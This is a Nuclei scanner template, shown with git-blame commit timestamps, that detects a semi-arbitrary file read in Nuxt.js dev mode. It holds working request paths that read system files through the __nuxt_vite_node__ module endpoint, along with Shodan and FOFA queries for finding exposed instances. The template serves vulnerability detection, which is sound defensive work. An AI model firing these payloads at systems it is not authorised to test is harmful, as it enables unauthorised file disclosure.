2023-06-17 05:16:30 +00:00
|
|
|
id: nuxt-js-semi-lfi
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Semi Arbitrary File Read in Dev Mode - Nuxt.js
|
|
|
|
author: DhiyaneshDK
|
|
|
|
severity: medium
|
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/7840cd32-af15-40cb-a148-7ef3dff4a0c2/
|
|
|
|
- https://bryces.io/blog/nuxt3
|
|
|
|
- https://twitter.com/fofabot/status/1669339995780558849
|
|
|
|
metadata:
|
2023-10-14 11:27:55 +00:00
|
|
|
verified: "true"
|
2023-06-21 21:03:53 +00:00
|
|
|
max-request: 2
|
|
|
|
shodan-query: html:"buildAssetsDir" "nuxt"
|
2023-10-14 11:27:55 +00:00
|
|
|
fofa-query: body="buildAssetsDir" && body="__nuxt"
|
|
|
|
tags: huntr,lfi,nuxtjs
|
2023-06-17 05:16:30 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/__nuxt_vite_node__/module//bin/passwd"
|
|
|
|
- "{{BaseURL}}/__nuxt_vite_node__/module/C:/Windows/System32/calc.exe"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '"plugin":'
|
|
|
|
- '"pluginCode":'
|
|
|
|
- '"id":'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "application/json"
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022100a6c5d6f754da83f7ae30fd5bed0124f0bb7ee13b908158bfc3a4b31bab25aadb0220719a0dbf7647cd593363b7594ab6a313a95338c1bb87fe9f8dc41ae2ad0559af:922c64590222798bb761d5b6d8e72950
|